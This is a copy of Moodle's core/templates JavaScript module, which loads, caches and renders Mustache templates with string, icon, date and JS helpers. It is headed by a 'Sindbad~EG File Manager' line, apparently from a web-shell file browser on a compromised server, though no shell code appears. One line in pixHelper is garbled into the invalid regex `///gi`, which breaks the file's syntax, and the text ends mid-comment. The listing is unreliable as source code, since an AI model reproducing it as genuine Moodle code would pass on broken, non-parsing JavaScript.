Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Template renderer for Moodle. Load and render Moodle templates with Mustache.
*
* @module core/templates
* @copyright 2015 Damyon Wiese <damyon@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
* @since 2.9
*/
define([
'core/mustache',
'jquery',
'core/ajax',
'core/str',
'core/notification',
'core/url',
'core/config',
'core/localstorage',
'core/icon_system',
'core_filters/events',
'core/yui',
'core/log',
'core/truncate',
'core/user_date',
'core/pending',
],
function(
mustache,
$,
ajax,
str,
notification,
coreurl,
config,
storage,
IconSystem,
filterEvents,
Y,
Log,
Truncate,
UserDate,
Pending
) {
// Module variables.
/** @var {Number} uniqInstances Count of times this constructor has been called. */
var uniqInstances = 0;
/** @var {String[]} templateCache - Cache of already loaded template strings */
var templateCache = {};
/** @var {Promise[]} templatePromises - Cache of already loaded template promises */
var templatePromises = {};
/** @var {Promise[]} cachePartialPromises - Cache of already loaded template partial promises */
var cachePartialPromises = {};
/** @var {Object} iconSystem - Object extending core/iconsystem */
var iconSystem = {};
/** @var {Object[]} loadTemplateBuffer - List of templates to be loaded */
var loadTemplateBuffer = [];
/** @var {Bool} isLoadingTemplates - Whether templates are currently being loaded */
var isLoadingTemplates = false;
/** @var {Array} disallowedNestedHelpers - List of helpers that can't be called within other helpers */
var disallowedNestedHelpers = ['js'];
/**
* Normalise the provided component such that '', 'moodle', and 'core' are treated consistently.
*
* @param {String} component
* @returns {String}
*/
var getNormalisedComponent = function(component) {
if (component) {
if (component !== 'moodle' && component !== 'core') {
return component;
}
}
return 'core';
};
/**
* Search the various caches for a template promise for the given search key.
* The search key should be in the format <theme>/<component>/<template> e.g. boost/core/modal.
*
* If the template is found in any of the caches it will populate the other caches with
* the same data as well.
*
* @param {String} searchKey The template search key in the format <theme>/<component>/<template> e.g. boost/core/modal
* @return {Object} jQuery promise resolved with the template source
*/
var getTemplatePromiseFromCache = function(searchKey) {
// First try the cache of promises.
if (searchKey in templatePromises) {
return templatePromises[searchKey];
}
// Check the module cache.
if (searchKey in templateCache) {
// Add this to the promises cache for future.
templatePromises[searchKey] = $.Deferred().resolve(templateCache[searchKey]).promise();
return templatePromises[searchKey];
}
if (M.cfg.templaterev <= 0) {
// Template caching is disabled. Do not store in persistent storage.
return null;
}
// Now try local storage.
var cached = storage.get('core_template/' + M.cfg.templaterev + ':' + searchKey);
if (cached) {
// Add this to the module cache for future.
templateCache[searchKey] = cached;
// Add this to the promises cache for future.
templatePromises[searchKey] = $.Deferred().resolve(cached).promise();
return templatePromises[searchKey];
}
return null;
};
/**
* Take all of the templates waiting in the buffer and load them from the server
* or from the cache.
*
* All of the templates that need to be loaded from the server will be batched up
* and sent in a single network request.
*/
var processLoadTemplateBuffer = function() {
if (!loadTemplateBuffer.length) {
return;
}
if (isLoadingTemplates) {
return;
}
isLoadingTemplates = true;
// Grab any templates waiting in the buffer.
var templatesToLoad = loadTemplateBuffer.slice();
// This will be resolved with the list of promises for the server request.
var serverRequestsDeferred = $.Deferred();
var requests = [];
// Get a list of promises for each of the templates we need to load.
var templatePromises = templatesToLoad.map(function(templateData) {
var component = getNormalisedComponent(templateData.component);
var name = templateData.name;
var searchKey = templateData.searchKey;
var theme = templateData.theme;
var templateDeferred = templateData.deferred;
var promise = null;
// Double check to see if this template happened to have landed in the
// cache as a dependency of an earlier template.
var cachedPromise = getTemplatePromiseFromCache(searchKey);
if (cachedPromise) {
// We've seen this template so immediately resolve the existing promise.
promise = cachedPromise;
} else {
// We haven't seen this template yet so we need to request it from
// the server.
requests.push({
methodname: 'core_output_load_template_with_dependencies',
args: {
component: component,
template: name,
themename: theme,
lang: $('html').attr('lang').replace(/-/g, '_')
}
});
// Remember the index in the requests list for this template so that
// we can get the appropriate promise back.
var index = requests.length - 1;
// The server deferred will be resolved with a list of all of the promises
// that were sent in the order that they were added to the requests array.
promise = serverRequestsDeferred.promise()
.then(function(promises) {
// The promise for this template will be the one that matches the index
// for it's entry in the requests array.
//
// Make sure the promise is added to the promises cache for this template
// search key so that we don't request it again.
templatePromises[searchKey] = promises[index].then(function(response) {
var templateSource = null;
// Process all of the template dependencies for this template and add
// them to the caches so that we don't request them again later.
response.templates.forEach(function(data) {
data.component = getNormalisedComponent(data.component);
// Generate the search key for this template in the response so that we
// can add it to the caches.
var tempSearchKey = [theme, data.component, data.name].join('/');
// Cache all of the dependent templates because we'll need them to render
// the requested template.
templateCache[tempSearchKey] = data.value;
if (M.cfg.templaterev > 0) {
// The template cache is enabled - set the value there.
storage.set('core_template/' + M.cfg.templaterev + ':' + tempSearchKey, data.value);
}
if (data.component == component && data.name == name) {
// This is the original template that was requested so remember it to return.
templateSource = data.value;
}
});
if (response.strings.length) {
// If we have strings that the template needs then warm the string cache
// with them now so that we don't need to re-fetch them.
str.cache_strings(response.strings.map(function(data) {
return {
component: getNormalisedComponent(data.component),
key: data.name,
value: data.value
};
}));
}
// Return the original template source that the user requested.
return templateSource;
});
return templatePromises[searchKey];
});
}
return promise
.then(function(source) {
// When we've successfully loaded the template then resolve the deferred
// in the buffer so that all of the calling code can proceed.
return templateDeferred.resolve(source);
})
.catch(function(error) {
// If there was an error loading the template then reject the deferred
// in the buffer so that all of the calling code can proceed.
templateDeferred.reject(error);
// Rethrow for anyone else listening.
throw error;
});
});
if (requests.length) {
// We have requests to send so resolve the deferred with the promises.
serverRequestsDeferred.resolve(ajax.call(requests, true, false, false, 0, M.cfg.templaterev));
} else {
// Nothing to load so we can resolve our deferred.
serverRequestsDeferred.resolve();
}
// Once we've finished loading all of the templates then recurse to process
// any templates that may have been added to the buffer in the time that we
// were fetching.
$.when.apply(null, templatePromises)
.then(function() {
// Remove the templates we've loaded from the buffer.
loadTemplateBuffer.splice(0, templatesToLoad.length);
isLoadingTemplates = false;
processLoadTemplateBuffer();
return;
})
.catch(function() {
// Remove the templates we've loaded from the buffer.
loadTemplateBuffer.splice(0, templatesToLoad.length);
isLoadingTemplates = false;
processLoadTemplateBuffer();
});
};
/**
* Constructor
*
* Each call to templates.render gets it's own instance of this class.
*/
var Renderer = function() {
this.requiredStrings = [];
this.requiredJS = [];
this.requiredDates = [];
this.currentThemeName = '';
};
// Class variables and functions.
/** @var {string[]} requiredStrings - Collection of strings found during the rendering of one template */
Renderer.prototype.requiredStrings = null;
/** @var {object[]} requiredDates - Collection of dates found during the rendering of one template */
Renderer.prototype.requiredDates = [];
/** @var {string[]} requiredJS - Collection of js blocks found during the rendering of one template */
Renderer.prototype.requiredJS = null;
/** @var {String} themeName for the current render */
Renderer.prototype.currentThemeName = '';
/**
* Load a template.
*
* @method getTemplate
* @private
* @param {string} templateName - should consist of the component and the name of the template like this:
* core/menu (lib/templates/menu.mustache) or
* tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
* @return {Promise} JQuery promise object resolved when the template has been fetched.
*/
Renderer.prototype.getTemplate = function(templateName) {
var currentTheme = this.currentThemeName;
var searchKey = currentTheme + '/' + templateName;
// If we haven't already seen this template then buffer it.
var cachedPromise = getTemplatePromiseFromCache(searchKey);
if (cachedPromise) {
return cachedPromise;
}
// Check the buffer to see if this template has already been added.
var existingBufferRecords = loadTemplateBuffer.filter(function(record) {
return record.searchKey == searchKey;
});
if (existingBufferRecords.length) {
// This template is already in the buffer so just return the existing
// promise. No need to add it to the buffer again.
return existingBufferRecords[0].deferred.promise();
}
// This is the first time this has been requested so let's add it to the buffer
// to be loaded.
var parts = templateName.split('/');
var component = getNormalisedComponent(parts.shift());
var name = parts.join('/');
var deferred = $.Deferred();
// Add this template to the buffer to be loaded.
loadTemplateBuffer.push({
component: component,
name: name,
theme: currentTheme,
searchKey: searchKey,
deferred: deferred
});
// We know there is at least one thing in the buffer so kick off a processing run.
processLoadTemplateBuffer();
return deferred.promise();
};
/**
* Prefetch a set of templates without rendering them.
*
* @param {Array} templateNames The list of templates to fetch
* @param {String} currentTheme
*/
Renderer.prototype.prefetchTemplates = function(templateNames, currentTheme) {
templateNames.forEach(function(templateName) {
var searchKey = currentTheme + '/' + templateName;
// If we haven't already seen this template then buffer it.
if (getTemplatePromiseFromCache(searchKey)) {
return;
}
// Check the buffer to see if this template has already been added.
var existingBufferRecords = loadTemplateBuffer.filter(function(record) {
return record.searchKey == searchKey;
});
if (existingBufferRecords.length) {
// This template is already in the buffer so just return the existing promise.
// No need to add it to the buffer again.
return;
}
// This is the first time this has been requested so let's add it to the buffer to be loaded.
var parts = templateName.split('/');
var component = getNormalisedComponent(parts.shift());
var name = parts.join('/');
// Add this template to the buffer to be loaded.
loadTemplateBuffer.push({
component: component,
name: name,
theme: currentTheme,
searchKey: searchKey,
deferred: $.Deferred(),
});
});
processLoadTemplateBuffer();
};
/**
* Load a partial from the cache or ajax.
*
* @method partialHelper
* @private
* @param {string} name The partial name to load.
* @return {string}
*/
Renderer.prototype.partialHelper = function(name) {
var searchKey = this.currentThemeName + '/' + name;
if (!(searchKey in templateCache)) {
notification.exception(new Error('Failed to pre-fetch the template: ' + name));
}
return templateCache[searchKey];
};
/**
* Render a single image icon.
*
* @method renderIcon
* @private
* @param {string} key The icon key.
* @param {string} component The component name.
* @param {string} title The icon title
* @return {Promise}
*/
Renderer.prototype.renderIcon = function(key, component, title) {
// Preload the module to do the icon rendering based on the theme iconsystem.
var modulename = config.iconsystemmodule;
component = getNormalisedComponent(component);
// RequireJS does not return a promise.
var ready = $.Deferred();
require([modulename], function(System) {
var system = new System();
if (!(system instanceof IconSystem)) {
ready.reject('Invalid icon system specified' + config.iconsystemmodule);
} else {
iconSystem = system;
system.init().then(ready.resolve).catch(notification.exception);
}
});
return ready.then(function(iconSystem) {
return this.getTemplate(iconSystem.getTemplateName());
}.bind(this)).then(function(template) {
return iconSystem.renderIcon(
key,
component,
title,
template
);
});
};
/**
* Render image icons.
*
* @method pixHelper
* @private
* @param {object} context The mustache context
* @param {string} sectionText The text to parse arguments from.
* @param {function} helper Used to render the alt attribute of the text.
* @return {string}
*/
Renderer.prototype.pixHelper = function(context, sectionText, helper) {
var parts = sectionText.split(',');
var key = '';
var component = '';
var text = '';
if (parts.length > 0) {
key = helper(parts.shift().trim(), context);
}
if (parts.length > 0) {
component = helper(parts.shift().trim(), context);
}
if (parts.length > 0) {
text = helper(parts.join(',').trim(), context);
}
var templateName = iconSystem.getTemplateName();
var searchKey = this.currentThemeName + '/' + templateName;
var template = templateCache[searchKey];
component = getNormalisedComponent(component);
// The key might have been escaped by the JS Mustache engine which
// converts forward slashes to HTML entities. Let us undo that here.
key = key.replace(///gi, '/');
return iconSystem.renderIcon(
key,
component,
text,
template
);
};
/**
* Render blocks of javascript and save them in an array.
*
* @method jsHelper
* @private
* @param {object} context The current mustache context.
* @param {string} sectionText The text to save as a js block.
* @param {function} helper Used to render the block.
* @return {string}
*/
Renderer.prototype.jsHelper = function(context, sectionText, helper) {
this.requiredJS.push(helper(sectionText, context));
return '';
};
/**
* String helper used to render {{#str}}abd component { a : 'fish'}{{/str}}
* into a get_string call.
*
* @method stringHelper
* @private
* @param {object} context The current mustache context.
* @param {string} sectionText The text to parse the arguments from.
* @param {function} helper Used to render subsections of the text.
* @return {string}
*/
Renderer.prototype.stringHelper = function(context, sectionText, helper) {
var parts = sectionText.split(',');
var key = '';
var component = '';
var param = '';
if (parts.length > 0) {
key = parts.shift().trim();
}
if (parts.length > 0) {
component = parts.shift().trim();
}
if (parts.length > 0) {
param = parts.join(',').trim();
}
component = getNormalisedComponent(component);
if (param !== '') {
// Allow variable expansion in the param part only.
param = helper(param, context);
}
// Allow json formatted $a arguments.
if (param.match(/^{\s*"/gm)) {
// If it can't be parsed then the string is not a JSON format.
try {
const parsedParam = JSON.parse(param);
// Handle non-exception-throwing cases, e.g. null, integer, boolean.
if (parsedParam && typeof parsedParam === "object") {
param = parsedParam;
}
} catch (err) {
// This was probably not JSON.
// Keep the error message visible.
window.console.warn(err.message);
}
}
var index = this.requiredStrings.length;
this.requiredStrings.push({
key: key,
component: component,
param: param
});
// The placeholder must not use {{}} as those can be misinterpreted by the engine.
return '[[_s' + index + ']]';
};
/**
* String helper to render {{#cleanstr}}abd component { a : 'fish'}{{/cleanstr}}
* into a get_string following by an HTML escape.
*
* @method cleanStringHelper
* @private
* @param {object} context The current mustache context.
* @param {string} sectionText The text to parse the arguments from.
* @param {function} helper Used to render subsections of the text.
* @return {string}
*/
Renderer.prototype.cleanStringHelper = function(context, sectionText, helper) {
var str = this.stringHelper(context, sectionText, helper);
// We're going to use [[_cx]] format for clean strings, where x is a number.
// Hence, replacing 's' with 'c' in the placeholder that stringHelper returns.
return str.replace('s', 'c');
};
/**
* Quote helper used to wrap content in quotes, and escape all special JSON characters present in the content.
*
* @method quoteHelper
* @private
* @param {object} context The current mustache context.
* @param {string} sectionText The text to parse the arguments from.
* @param {function} helper Used to render subsections of the text.
* @return {string}
*/
Renderer.prototype.quoteHelper = function(context, sectionText, helper) {
var content = helper(sectionText.trim(), context);
// Escape the {{ and JSON encode.
// This involves wrapping {{, and }} in change delimeter tags.
content = JSON.stringify(content);
content = content.replace(/([{}]{2,3})/g, '{{=<% %>=}}$1<%={{ }}=%>');
return content;
};
/**
* Shorten text helper to truncate text and append a trailing ellipsis.
*
* @method shortenTextHelper
* @private
* @param {object} context The current mustache context.
* @param {string} sectionText The text to parse the arguments from.
* @param {function} helper Used to render subsections of the text.
* @return {string}
*/
Renderer.prototype.shortenTextHelper = function(context, sectionText, helper) {
// Non-greedy split on comma to grab section text into the length and
// text parts.
var regex = /(.*?),(.*)/;
var parts = sectionText.match(regex);
// The length is the part matched in the first set of parethesis.
var length = parts[1].trim();
// The length is the part matched in the second set of parethesis.
var text = parts[2].trim();
var content = helper(text, context);
return Truncate.truncate(content, {
length: length,
words: true,
ellipsis: '...'
});
};
/**
* User date helper to render user dates from timestamps.
*
* @method userDateHelper
* @private
* @param {object} context The current mustache context.
* @param {string} sectionText The text to parse the arguments from.
* @param {function} helper Used to render subsections of the text.
* @return {string}
*/
Renderer.prototype.userDateHelper = function(context, sectionText, helper) {
// Non-greedy split on comma to grab the timestamp and format.
var regex = /(.*?),(.*)/;
var parts = sectionText.match(regex);
var timestamp = helper(parts[1].trim(), context);
var format = helper(parts[2].trim(), context);
var index = this.requiredDates.length;
this.requiredDates.push({
timestamp: timestamp,
format: format
});
return '[[_t_' + index + ']]';
};
/**
* Return a helper function to be added to the context for rendering the a
* template.
*
* This will parse the provided text before giving it to the helper function
* in order to remove any disallowed nested helpers to prevent one helper
* from calling another.
*
* In particular to prevent the JS helper from being called from within another
* helper because it can lead to security issues when the JS portion is user
* provided.
*
* @param {function} helperFunction The helper function to add
* @param {object} context The template context for the helper function
* @return {Function} To be set in the context
*/
Renderer.prototype.addHelperFunction = function(helperFunction, context) {
return function() {
return function(sectionText, helper) {
// Override the disallowed helpers in the template context with
// a function that returns an empty string for use when executing
// other helpers. This is to prevent these helpers from being
// executed as part of the rendering of another helper in order to
// prevent any potential security issues.
var originalHelpers = disallowedNestedHelpers.reduce(function(carry, name) {
if (context.hasOwnProperty(name)) {
carry[name] = context[name];
}
return carry;
}, {});
disallowedNestedHelpers.forEach(function(helperName) {
context[helperName] = function() {
return '';
};
});
// Execute the helper with the modified context that doesn't include
// the disallowed nested helpers. This prevents the disallowed
// helpers from being called from within other helpers.
var result = helperFunction.apply(this, [context, sectionText, helper]);
// Restore the original helper implementation in the context so that
// any further rendering has access to them again.
for (var name in originalHelpers) {
context[name] = originalHelpers[name];
}
return result;
}.bind(this);
}.bind(this);
};
/**
* Add some common helper functions to all context objects passed to templates.
* These helpers match exactly the helpers available in php.
*
* @method addHelpers
* @private
* @param {Object} context Simple types used as the context for the template.
* @param {String} themeName We set this multiple times, because there are async calls.
*/
Renderer.prototype.addHelpers = function(context, themeName) {
this.currentThemeName = themeName;
this.requiredStrings = [];
this.requiredJS = [];
context.uniqid = (uniqInstances++);
context.str = this.addHelperFunction(this.stringHelper, context);
context.cleanstr = this.addHelperFunction(this.cleanStringHelper, context);
context.pix = this.addHelperFunction(this.pixHelper, context);
context.js = this.addHelperFunction(this.jsHelper, context);
context.quote = this.addHelperFunction(this.quoteHelper, context);
context.shortentext = this.addHelperFunction(this.shortenTextHelper, context);
context.userdate = this.addHelperFunction(this.userDateHelper, context);
context.globals = {config: config};
context.currentTheme = themeName;
};
/**
* Get all the JS blocks from the last rendered template.
*
* @method getJS
* @private
* @return {string}
*/
Renderer.prototype.getJS = function() {
var js = '';
if (this.requiredJS.length > 0) {
js = this.requiredJS.join(";\n");
}
return js;
};
/**
* Treat strings in content.
*
* The purpose of this method is to replace the placeholders found in a string
* with the their respective translated strings.
*
* Previously we were relying on String.replace() but the complexity increased with
* the numbers of strings to replace. Now we manually walk the string and stop at each
* placeholder we find, only then we replace it. Most of the time we will
* replace all the placeholders in a single run, at times we will need a few
* more runs when placeholders are replaced with strings that contain placeholders
* themselves.
*
* @param {String} content The content in which string placeholders are to be found.
* @param {Array} strings The strings to replace with.
* @return {String} The treated content.
*/
Renderer.prototype.treatStringsInContent = function(content, strings) {
var pattern = /\[\[_(s|c)\d+\]\]/,
treated,
index,
strIndex,
walker,
char,
strFinal,
isClean;
do {
treated = '';
index = content.search(pattern);
while (index > -1) {
// Copy the part prior to the placeholder to the treated string.
treated += content.substring(0, index);
content = content.substr(index);
isClean = content[3] == 'c';
strIndex = '';
walker = 4; // 4 is the length of either '[[_s' or '[[_c'.
// Walk the characters to manually extract the index of the string from the placeholder.
char = content.substr(walker, 1);
do {
strIndex += char;
walker++;
char = content.substr(walker, 1);
} while (char != ']');
// Get the string, add it to the treated result, and remove the placeholder from the content to treat.
strFinal = strings[parseInt(strIndex, 10)];
if (typeof strFinal === 'undefined') {
Log.debug('Could not find string for pattern [[_' + (isClean ? 'c' : 's') + strIndex + ']].');
strFinal = '';
}
if (isClean) {
strFinal = mustache.escape(strFinal);
}
treated += strFinal;
content = content.substr(6 + strIndex.length); // 6 is the length of the placeholder without the index.
// That's either '[[_s]]' or '[[_c]]'.
// Find the next placeholder.
index = content.search(pattern);
}
// The content becomes the treated part with the rest of the content.
content = treated + content;
// Check if we need to walk the content again, in case strings contained placeholders.
index = content.search(pattern);
} while (index > -1);
return content;
};
/**
* Treat strings in content.
*
* The purpose of this method is to replace the date placeholders found in the
* content with the their respective translated dates.
*
* @param {String} content The content in which string placeholders are to be found.
* @param {Array} dates The dates to replace with.
* @return {String} The treated content.
*/
Renderer.prototype.treatDatesInContent = function(content, dates) {
dates.forEach(function(date, index) {
var key = '\\[\\[_t_' + index + '\\]\\]';
var re = new RegExp(key, 'g');
content = content.replace(re, date);
});
return content;
};
/**
* Render a template and then call the callback with the result.
*
* @method doRender
* @private
* @param {string} templateSource The mustache template to render.
* @param {Object} context Simple types used as the context for the template.
* @param {String} themeName Name of the current theme.
* @return {Promise} object
*/
Renderer.prototype.doRender = function(templateSource, context, themeName) {
this.currentThemeName = themeName;
var iconTemplate = iconSystem.getTemplateName();
var pendingPromise = new Pending('core/templates:doRender');
return this.getTemplate(iconTemplate).then(function() {
this.addHelpers(context, themeName);
var result = mustache.render(templateSource, context, this.partialHelper.bind(this));
return $.Deferred().resolve(result.trim(), this.getJS()).promise();
}.bind(this))
.then(function(html, js) {
if (this.requiredStrings.length > 0) {
return str.get_strings(this.requiredStrings).then(function(strings) {
// Make sure string substitutions are done for the userdate
// values as well.
this.requiredDates = this.requiredDates.map(function(date) {
return {
timestamp: this.treatStringsInContent(date.timestamp, strings),
format: this.treatStringsInContent(date.format, strings)
};
}.bind(this));
// Why do we not do another call the render here?
//
// Because that would expose DOS holes. E.g.
// I create an assignment called "{{fish" which
// would get inserted in the template in the first pass
// and cause the template to die on the second pass (unbalanced).
html = this.treatStringsInContent(html, strings);
js = this.treatStringsInContent(js, strings);
return $.Deferred().resolve(html, js).promise();
}.bind(this));
}
return $.Deferred().resolve(html, js).promise();
}.bind(this))
.then(function(html, js) {
// This has to happen after the strings replacement because you can
// use the string helper in content for the user date helper.
if (this.requiredDates.length > 0) {
return UserDate.get(this.requiredDates).then(function(dates) {
html = this.treatDatesInContent(html, dates);
js = this.treatDatesInContent(js, dates);
return $.Deferred().resolve(html, js).promise();
}.bind(this));
}
return $.Deferred().resolve(html, js).promise();
}.bind(this))
.then(function(html, js) {
pendingPromise.resolve();
return $.Deferred().resolve(html, js).promise();
});
};
/**
* Execute a block of JS returned from a template.
* Call this AFTER adding the template HTML into the DOM so the nodes can be found.
*
* @method runTemplateJS
* @param {string} source - A block of javascript.
*/
var runTemplateJS = function(source) {
if (source.trim() !== '') {
var newscript = $('<script>').attr('type', 'text/javascript').html(source);
$('head').append(newscript);
}
};
/**
* Do some DOM replacement and trigger correct events and fire javascript.
*
* @method domReplace
* @private
* @param {JQuery} element - Element or selector to replace.
* @param {String} newHTML - HTML to insert / replace.
* @param {String} newJS - Javascript to run after the insertion.
* @param {Boolean} replaceChildNodes - Replace only the childnodes, alternative is to replace the entire node.
* @return {Array} The list of new DOM Nodes
* @fires event:filterContentUpdated
*/
var domReplace = function(element, newHTML, newJS, replaceChildNodes) {
var replaceNode = $(element);
if (replaceNode.length) {
// First create the dom nodes so we have a reference to them.
var newNodes = $(newHTML);
var yuiNodes = null;
// Do the replacement in the page.
if (replaceChildNodes) {
// Cleanup any YUI event listeners attached to any of these nodes.
yuiNodes = new Y.NodeList(replaceNode.children().get());
yuiNodes.destroy(true);
// JQuery will cleanup after itself.
replaceNode.empty();
replaceNode.append(newNodes);
} else {
// Cleanup any YUI event listeners attached to any of these nodes.
yuiNodes = new Y.NodeList(replaceNode.get());
yuiNodes.destroy(true);
// JQuery will cleanup after itself.
replaceNode.replaceWith(newNodes);
}
// Run any javascript associated with the new HTML.
runTemplateJS(newJS);
// Notify all filters about the new content.
filterEvents.notifyFilterContentUpdated(newNodes);
return newNodes.get();
}
return [];
};
/**
* Scan a template source for partial tags and return a list of the found partials.
*
* @method scanForPartials
* @private
* @param {string} templateSource - source template to scan.
* @return {Array} List of partials.
*/
Renderer.prototype.scanForPartials = function(templateSource) {
var tokens = mustache.parse(templateSource),
partials = [];
var findPartial = function(tokens, partials) {
var i, token;
for (i = 0; i < tokens.length; i++) {
token = tokens[i];
if (token[0] == '>' || token[0] == '<') {
partials.push(token[1]);
}
if (token.length > 4) {
findPartial(token[4], partials);
}
}
};
findPartial(tokens, partials);
return partials;
};
/**
* Load a template and scan it for partials. Recursively fetch the partials.
*
* @method cachePartials
* @private
* @param {string} templateName - should consist of the component and the name of the template like this:
* core/menu (lib/templates/menu.mustache) or
* tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
* @param {Array} parentage - A list of requested partials in this render chain.
* @return {Promise} JQuery promise object resolved when all partials are in the cache.
*/
Renderer.prototype.cachePartials = function(templateName, parentage) {
var searchKey = this.currentThemeName + '/' + templateName;
if (searchKey in cachePartialPromises) {
return cachePartialPromises[searchKey];
}
// This promise will not be resolved until all child partials are also resolved and ready.
// We create it here to allow us to check for recursive inclusion of templates.
// Keep track of the requested partials in this chain.
parentage = parentage || [searchKey];
cachePartialPromises[searchKey] = $.Deferred();
this.getTemplate(templateName)
.then(function(templateSource) {
var partials = this.scanForPartials(templateSource);
var uniquePartials = partials.filter(function(partialName) {
// Check for recursion.
if (parentage.indexOf(this.currentThemeName + '/' + partialName) >= 0) {
// Ignore templates which include a parent template already requested in the current chain.
return false;
}
// Ignore templates that include themselves.
return partialName != templateName;
}.bind(this));
// Fetch any partial which has not already been fetched.
var fetchThemAll = uniquePartials.map(function(partialName) {
parentage.push(this.currentThemeName + '/' + partialName);
return this.cachePartials(partialName, parentage);
}.bind(this));
// Resolve the templateName promise when all of the children are resolved.
return $.when.apply($, fetchThemAll)
.then(function() {
return cachePartialPromises[searchKey].resolve(templateSource);
});
}.bind(this))
.catch(cachePartialPromises[searchKey].reject);
return cachePartialPromises[searchKey];
};
/**
* Load a template and call doRender on it.
*
* @method render
* @private
* @param {string} templateName - should consist of the component and the name of the template like this:
* core/menu (lib/templates/menu.mustache) or
* tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
* @param {Object} context - Could be array, string or simple value for the context of the template.
* @param {string} themeName - Name of the current theme.
* @return {Promise} JQuery promise object resolved when the template has been rendered.
*/
Renderer.prototype.render = function(templateName, context, themeName) {
if (typeof (themeName) === "undefined") {
// System context by default.
themeName = config.theme;
}
this.currentThemeName = themeName;
// Preload the module to do the icon rendering based on the theme iconsystem.
var modulename = config.iconsystemmodule;
var ready = $.Deferred();
require([modulename], function(System) {
var system = new System();
if (!(system instanceof IconSystem)) {
ready.reject('Invalid icon system specified' + config.iconsystem);
} else {
iconSystem = system;
system.init().then(ready.resolve).catch(notification.exception);
}
});
return ready.then(function() {
return this.cachePartials(templateName);
}.bind(this)).then(function(templateSource) {
return this.doRender(templateSource, context, themeName);
}.bind(this));
};
/**
* Prepend some HTML to a node and trigger events and fire javascript.
*
* @method domPrepend
* @private
* @param {jQuery|String} element - Element or selector to prepend HTML to
* @param {String} html - HTML to prepend
* @param {String} js - Javascript to run after we prepend the html
* @return {Array} The list of new DOM Nodes
* @fires event:filterContentUpdated
*/
var domPrepend = function(element, html, js) {
var node = $(element);
if (node.length) {
// Prepend the html.
var newContent = $(html);
node.prepend(newContent);
// Run any javascript associated with the new HTML.
runTemplateJS(js);
// Notify all filters about the new content.
filterEvents.notifyFilterContentUpdated(node);
return newContent.get();
}
return [];
};
/**
* Append some HTML to a node and trigger events and fire javascript.
*
* @method domAppend
* @private
* @param {jQuery|String} element - Element or selector to append HTML to
* @param {String} html - HTML to append
* @param {String} js - Javascript to run after we append the html
* @return {Array} The list of new DOM Nodes
* @fires event:filterContentUpdated
*/
var domAppend = function(element, html, js) {
var node = $(element);
if (node.length) {
// Append the html.
var newContent = $(html);
node.append(newContent);
// Run any javascript associated with the new HTML.
runTemplateJS(js);
// Notify all filters about the new content.
filterEvents.notifyFilterContentUpdated(node);
return newContent.get();
}
return [];
};
return /** @alias module:core/templates */ {
// Public variables and functions.
/**
* Every call to render creates a new instance of the class and calls render on it. This
* means each render call has it's own class variables.
*
* @method render
* @private
* @param {string} templateName - should consist of the component and the name of the template like this:
* core/menu (lib/templates/menu.mustache) or
* tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
* @param {Object} context - Could be array, string or simple value for the context of the template.
* @param {string} themeName - Name of the current theme.
* @return {Promise} JQuery promise object resolved when the template has been rendered.
*/
render: function(templateName, context, themeName) {
var renderer = new Renderer();
return renderer.render(templateName, context, themeName);
},
/**
* Prefetch a set of templates without rendering them.
*
* @method getTemplate
* @param {Array} templateNames The list of templates to fetch
* @param {String} themeName
* @returns {Promise}
*/
prefetchTemplates: function(templateNames, themeName) {
var renderer = new Renderer();
if (typeof themeName === "undefined") {
// System context by default.
themeName = config.theme;
}
return renderer.prefetchTemplates(templateNames, themeName);
},
/**
* Every call to render creates a new instance of the class and calls render on it. This
* means each render call has it's own class variables.
*
* This alernate to the standard .render() function returns the html and js in a single object suitable for a
* native Promise.
*
* @method renderForPromise
* @private
* @param {string} templateName - should consist of the component and the name of the template like this:
* core/menu (lib/templates/menu.mustache) or
* tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
* @param {Object} context - Could be array, string or simple value for the context of the template.
* @param {string} themeName - Name of the current theme.
* @return {Promise} JQuery promise object resolved when the template has been rendered.
*/
renderForPromise: function(templateName, context, themeName) {
var renderer = new Renderer();
return renderer.render(templateName, context, themeName)
.then(function(html, js) {
return {
html: html,
js: js,
};
});
},
/**
* Every call to renderIcon creates a new instance of the class and calls renderIcon on it. This
* means each render call has it's own class variables.
*
* @method renderIcon
* @public
* @param {string} key - Icon key.
* @param {string} component - Icon component
* @param {string} title - Icon title
* @return {Promise} JQuery promise object resolved when the pix has been rendered.
*/
renderPix: function(key, component, title) {
var renderer = new Renderer();
return renderer.renderIcon(
key,
getNormalisedComponent(component),
title
);
},
/**
* Execute a block of JS returned from a template.
* Call this AFTER adding the template HTML into the DOM so the nodes can be found.
*
* @method runTemplateJS
* @param {string} source - A block of javascript.
*/
runTemplateJS: runTemplateJS,
/**
* Replace a node in the page with some new HTML and run the JS.
*
* @method replaceNodeContents
* @param {JQuery} element - Element or selector to replace.
* @param {String} newHTML - HTML to insert / replace.
* @param {String} newJS - Javascript to run after the insertion.
* @return {Array} The list of new DOM Nodes
*/
replaceNodeContents: function(element, newHTML, newJS) {
return domReplace(element, newHTML, newJS, true);
},
/**
* Insert a node in the page with some new HTML and run the JS.
*
* @method replaceNode
* @param {JQuery} element - Element or selector to replace.
* @param {String} newHTML - HTML to insert / replace.
* @param {String} newJS - Javascript to run after the insertion.
* @return {Array} The list of new DOM Nodes
*/
replaceNode: function(element, newHTML, newJS) {
return domReplace(element, newHTML, newJS, false);
},
/**
* Prepend some HTML to a node and trigger events and fire javascript.
*
* @method prependNodeContents
* @param {jQuery|String} element - Element or selector to prepend HTML to
* @param {String} html - HTML to prepend
* @param {String} js - Javascript to run after we prepend the html
* @return {Array} The list of new DOM Nodes
*/
prependNodeContents: function(element, html, js) {
return domPrepend(element, html, js);
},
/**
* Append some HTML to a node and trigger events and fire javascript.
*
* @method appendNodeContents
* @param {jQuery|String} element - Element or selector to append HTML to
